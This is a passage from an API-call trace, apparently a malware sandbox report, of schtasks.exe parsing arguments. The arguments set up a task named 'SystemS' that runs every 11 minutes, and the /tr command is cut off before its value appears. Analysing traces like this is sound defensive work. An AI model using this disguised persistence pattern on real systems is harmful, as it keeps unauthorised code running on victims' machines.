_Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.643] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x8, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|query|") returned 7 [0127.644] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|tn|") returned 4 [0127.644] lstrlenW (lpString="|query|") returned 7 [0127.644] lstrlenW (lpString="|tn|") returned 4 [0127.644] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0127.644] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.644] lstrlenW (lpString="change") returned 6 [0127.644] lstrlenW (lpString="change") returned 6 [0127.644] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.644] lstrlenW (lpString="tn") returned 2 [0127.644] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.644] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x9, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|change|") returned 8 [0127.644] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|tn|") returned 4 [0127.644] lstrlenW (lpString="|change|") returned 8 [0127.644] lstrlenW (lpString="|tn|") returned 4 [0127.644] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0127.644] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.644] lstrlenW (lpString="run") returned 3 [0127.644] lstrlenW (lpString="run") returned 3 [0127.644] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.644] lstrlenW (lpString="tn") returned 2 [0127.644] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.644] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x6, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|run|") returned 5 [0127.644] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|tn|") returned 4 [0127.644] lstrlenW (lpString="|run|") returned 5 [0127.644] lstrlenW (lpString="|tn|") returned 4 [0127.644] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0127.644] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.644] lstrlenW (lpString="end") returned 3 [0127.644] lstrlenW (lpString="end") returned 3 [0127.645] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.645] lstrlenW (lpString="tn") returned 2 [0127.645] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.645] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x6, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|end|") returned 5 [0127.645] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|tn|") returned 4 [0127.645] lstrlenW (lpString="|end|") returned 5 [0127.645] lstrlenW (lpString="|tn|") returned 4 [0127.645] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0127.645] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.645] lstrlenW (lpString="showsid") returned 7 [0127.645] lstrlenW (lpString="showsid") returned 7 [0127.645] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.645] GetProcessHeap () returned 0x1eb77c10000 [0127.645] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c13b40) returned 1 [0127.645] GetProcessHeap () returned 0x1eb77c10000 [0127.645] RtlReAllocateHeap (Heap=0x1eb77c10000, Flags=0xc, Ptr=0x1eb77c13b40, Size=0x16) returned 0x1eb77c13b40 [0127.645] lstrlenW (lpString="tn") returned 2 [0127.645] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.645] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0xa, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|showsid|") returned 9 [0127.645] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|tn|") returned 4 [0127.645] lstrlenW (lpString="|showsid|") returned 9 [0127.645] lstrlenW (lpString="|tn|") returned 4 [0127.645] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0127.645] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.645] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.645] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.645] lstrlenW (lpString="/tn") returned 3 [0127.645] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0127.645] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.646] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.646] lstrlenW (lpString="/tn") returned 3 [0127.646] GetProcessHeap () returned 0x1eb77c10000 [0127.646] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x8) returned 0x1eb77c14310 [0127.646] GetProcessHeap () returned 0x1eb77c10000 [0127.646] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c1b560 [0127.646] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.646] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.646] lstrlenW (lpString="SystemS") returned 7 [0127.646] lstrlenW (lpString="-/") returned 2 [0127.646] StrChrIW (lpStart="-/", wMatch=0x53) returned 0x0 [0127.646] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.646] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.646] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.646] lstrlenW (lpString="SystemS") returned 7 [0127.646] StrChrIW (lpStart="SystemS", wMatch=0x3a) returned 0x0 [0127.646] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.646] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.646] lstrlenW (lpString="SystemS") returned 7 [0127.646] GetProcessHeap () returned 0x1eb77c10000 [0127.646] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x10) returned 0x1eb77c13b70 [0127.646] GetProcessHeap () returned 0x1eb77c10000 [0127.646] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c1b8c0 [0127.646] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.646] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.646] lstrlenW (lpString="/sc") returned 3 [0127.646] lstrlenW (lpString="-/") returned 2 [0127.646] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0127.646] lstrlenW (lpString="?") returned 1 [0127.646] lstrlenW (lpString="?") returned 1 [0127.646] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.646] lstrlenW (lpString="sc") returned 2 [0127.646] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.647] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|?|") returned 3 [0127.647] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|sc|") returned 4 [0127.647] lstrlenW (lpString="|?|") returned 3 [0127.647] lstrlenW (lpString="|sc|") returned 4 [0127.647] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.647] lstrlenW (lpString="create") returned 6 [0127.647] lstrlenW (lpString="create") returned 6 [0127.647] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.647] lstrlenW (lpString="sc") returned 2 [0127.647] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.647] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x9, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|create|") returned 8 [0127.647] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|sc|") returned 4 [0127.647] lstrlenW (lpString="|create|") returned 8 [0127.647] lstrlenW (lpString="|sc|") returned 4 [0127.647] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0127.647] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.647] lstrlenW (lpString="delete") returned 6 [0127.647] lstrlenW (lpString="delete") returned 6 [0127.647] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.647] lstrlenW (lpString="sc") returned 2 [0127.647] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.647] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x9, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|delete|") returned 8 [0127.647] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|sc|") returned 4 [0127.647] lstrlenW (lpString="|delete|") returned 8 [0127.647] lstrlenW (lpString="|sc|") returned 4 [0127.647] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0127.647] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.648] lstrlenW (lpString="query") returned 5 [0127.648] lstrlenW (lpString="query") returned 5 [0127.648] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.648] lstrlenW (lpString="sc") returned 2 [0127.648] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.648] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x8, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|query|") returned 7 [0127.648] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|sc|") returned 4 [0127.648] lstrlenW (lpString="|query|") returned 7 [0127.648] lstrlenW (lpString="|sc|") returned 4 [0127.648] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0127.648] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.648] lstrlenW (lpString="change") returned 6 [0127.648] lstrlenW (lpString="change") returned 6 [0127.648] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.648] lstrlenW (lpString="sc") returned 2 [0127.648] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.648] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x9, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|change|") returned 8 [0127.648] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|sc|") returned 4 [0127.648] lstrlenW (lpString="|change|") returned 8 [0127.648] lstrlenW (lpString="|sc|") returned 4 [0127.648] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0127.648] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.648] lstrlenW (lpString="run") returned 3 [0127.648] lstrlenW (lpString="run") returned 3 [0127.648] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.648] lstrlenW (lpString="sc") returned 2 [0127.648] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.649] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x6, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|run|") returned 5 [0127.649] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|sc|") returned 4 [0127.649] lstrlenW (lpString="|run|") returned 5 [0127.649] lstrlenW (lpString="|sc|") returned 4 [0127.649] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0127.649] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.649] lstrlenW (lpString="end") returned 3 [0127.649] lstrlenW (lpString="end") returned 3 [0127.649] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.649] lstrlenW (lpString="sc") returned 2 [0127.649] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.649] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x6, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|end|") returned 5 [0127.649] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|sc|") returned 4 [0127.649] lstrlenW (lpString="|end|") returned 5 [0127.649] lstrlenW (lpString="|sc|") returned 4 [0127.649] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0127.649] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.649] lstrlenW (lpString="showsid") returned 7 [0127.649] lstrlenW (lpString="showsid") returned 7 [0127.649] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.649] lstrlenW (lpString="sc") returned 2 [0127.649] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.649] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0xa, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|showsid|") returned 9 [0127.649] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|sc|") returned 4 [0127.649] lstrlenW (lpString="|showsid|") returned 9 [0127.649] lstrlenW (lpString="|sc|") returned 4 [0127.649] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0127.650] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.650] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.650] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.650] lstrlenW (lpString="/sc") returned 3 [0127.650] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0127.650] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.650] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.650] lstrlenW (lpString="/sc") returned 3 [0127.650] GetProcessHeap () returned 0x1eb77c10000 [0127.650] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x8) returned 0x1eb77c13b90 [0127.650] GetProcessHeap () returned 0x1eb77c10000 [0127.650] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c1b3b0 [0127.650] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.650] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.650] lstrlenW (lpString="MINUTE") returned 6 [0127.650] lstrlenW (lpString="-/") returned 2 [0127.650] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0127.650] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.650] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.650] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.650] lstrlenW (lpString="MINUTE") returned 6 [0127.650] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0127.650] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.650] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.650] lstrlenW (lpString="MINUTE") returned 6 [0127.650] GetProcessHeap () returned 0x1eb77c10000 [0127.650] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0xe) returned 0x1eb77c13bb0 [0127.650] GetProcessHeap () returned 0x1eb77c10000 [0127.650] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c1b5f0 [0127.650] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.650] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.651] lstrlenW (lpString="/mo") returned 3 [0127.651] lstrlenW (lpString="-/") returned 2 [0127.651] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0127.651] lstrlenW (lpString="?") returned 1 [0127.651] lstrlenW (lpString="?") returned 1 [0127.651] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.651] lstrlenW (lpString="mo") returned 2 [0127.651] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.651] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|?|") returned 3 [0127.651] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|mo|") returned 4 [0127.651] lstrlenW (lpString="|?|") returned 3 [0127.651] lstrlenW (lpString="|mo|") returned 4 [0127.651] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.651] lstrlenW (lpString="create") returned 6 [0127.651] lstrlenW (lpString="create") returned 6 [0127.651] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.651] lstrlenW (lpString="mo") returned 2 [0127.651] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.651] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x9, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|create|") returned 8 [0127.651] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|mo|") returned 4 [0127.651] lstrlenW (lpString="|create|") returned 8 [0127.651] lstrlenW (lpString="|mo|") returned 4 [0127.651] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0127.651] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.651] lstrlenW (lpString="delete") returned 6 [0127.651] lstrlenW (lpString="delete") returned 6 [0127.651] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.652] lstrlenW (lpString="mo") returned 2 [0127.652] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.652] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x9, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|delete|") returned 8 [0127.652] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|mo|") returned 4 [0127.652] lstrlenW (lpString="|delete|") returned 8 [0127.652] lstrlenW (lpString="|mo|") returned 4 [0127.652] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0127.652] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.652] lstrlenW (lpString="query") returned 5 [0127.652] lstrlenW (lpString="query") returned 5 [0127.652] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.652] lstrlenW (lpString="mo") returned 2 [0127.652] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.652] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x8, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|query|") returned 7 [0127.652] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|mo|") returned 4 [0127.652] lstrlenW (lpString="|query|") returned 7 [0127.652] lstrlenW (lpString="|mo|") returned 4 [0127.652] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0127.652] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.652] lstrlenW (lpString="change") returned 6 [0127.652] lstrlenW (lpString="change") returned 6 [0127.652] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.652] lstrlenW (lpString="mo") returned 2 [0127.652] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.653] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x9, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|change|") returned 8 [0127.655] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|mo|") returned 4 [0127.655] lstrlenW (lpString="|change|") returned 8 [0127.655] lstrlenW (lpString="|mo|") returned 4 [0127.655] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0127.655] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.655] lstrlenW (lpString="run") returned 3 [0127.655] lstrlenW (lpString="run") returned 3 [0127.655] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.655] lstrlenW (lpString="mo") returned 2 [0127.655] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.655] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x6, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|run|") returned 5 [0127.655] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|mo|") returned 4 [0127.655] lstrlenW (lpString="|run|") returned 5 [0127.655] lstrlenW (lpString="|mo|") returned 4 [0127.655] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0127.655] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.655] lstrlenW (lpString="end") returned 3 [0127.655] lstrlenW (lpString="end") returned 3 [0127.655] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.655] lstrlenW (lpString="mo") returned 2 [0127.655] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.656] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x6, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|end|") returned 5 [0127.656] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|mo|") returned 4 [0127.656] lstrlenW (lpString="|end|") returned 5 [0127.656] lstrlenW (lpString="|mo|") returned 4 [0127.656] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0127.656] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.656] lstrlenW (lpString="showsid") returned 7 [0127.656] lstrlenW (lpString="showsid") returned 7 [0127.656] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.656] lstrlenW (lpString="mo") returned 2 [0127.656] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.656] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0xa, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|showsid|") returned 9 [0127.656] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|mo|") returned 4 [0127.656] lstrlenW (lpString="|showsid|") returned 9 [0127.656] lstrlenW (lpString="|mo|") returned 4 [0127.656] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0127.656] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.656] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.656] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.656] lstrlenW (lpString="/mo") returned 3 [0127.656] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0127.656] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.656] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.656] lstrlenW (lpString="/mo") returned 3 [0127.656] GetProcessHeap () returned 0x1eb77c10000 [0127.656] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x8) returned 0x1eb77c13bd0 [0127.656] GetProcessHeap () returned 0x1eb77c10000 [0127.656] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c1b4d0 [0127.657] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.657] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.657] lstrlenW (lpString="11") returned 2 [0127.657] lstrlenW (lpString="-/") returned 2 [0127.657] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0127.657] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.657] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.657] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.657] lstrlenW (lpString="11") returned 2 [0127.657] StrChrIW (lpStart="11", wMatch=0x3a) returned 0x0 [0127.657] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.657] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.657] lstrlenW (lpString="11") returned 2 [0127.657] GetProcessHeap () returned 0x1eb77c10000 [0127.657] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x6) returned 0x1eb77c13bf0 [0127.657] GetProcessHeap () returned 0x1eb77c10000 [0127.657] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c1b470 [0127.657] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.657] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.657] lstrlenW (lpString="/tr") returned 3 [0127.657] lstrlenW (lpString="-/") returned 2 [0127.657] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0127.657] lstrlenW (lpString="?") returned 1 [0127.657] lstrlenW (lpString="?") returned 1 [0127.657] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.657] lstrlenW (lpString="tr") returned 2 [0127.657] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.657] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|?|") returned 3 [0127.657] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|tr|") returned 4 [0127.657] lstrlenW (lpString="|?|") returned 3 [0127.657] lstrlenW (lpString="|tr|") returned 4 [0127.658] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.658] lstrlenW (lpString="create") returned 6 [0127.658] lstrlenW (lpString="create") returned 6 [0127.658] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.658] lstrlenW (lpString="tr") returned 2 [0127.658] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.658] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x9, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|create|") returned 8 [0127.658] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2f818 | out: _Buffer="|tr|") returned 4 [0127.658] lstrlenW (lpString="|create|") returned 8 [0127.658] lstrlenW (lpString="|tr|") returned 4 [0127.658] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0127.658] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.658] lstrlenW (lpString="delete") returned 6 [0127.658] lstrlenW (lpString="delete") returned 6 [0127.658] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.658] lstrlenW (lpString="tr") returned 2 [0127.658] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.658] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x9, _Format="|%s|", _ArgList=0x8f10f2f818 | out: 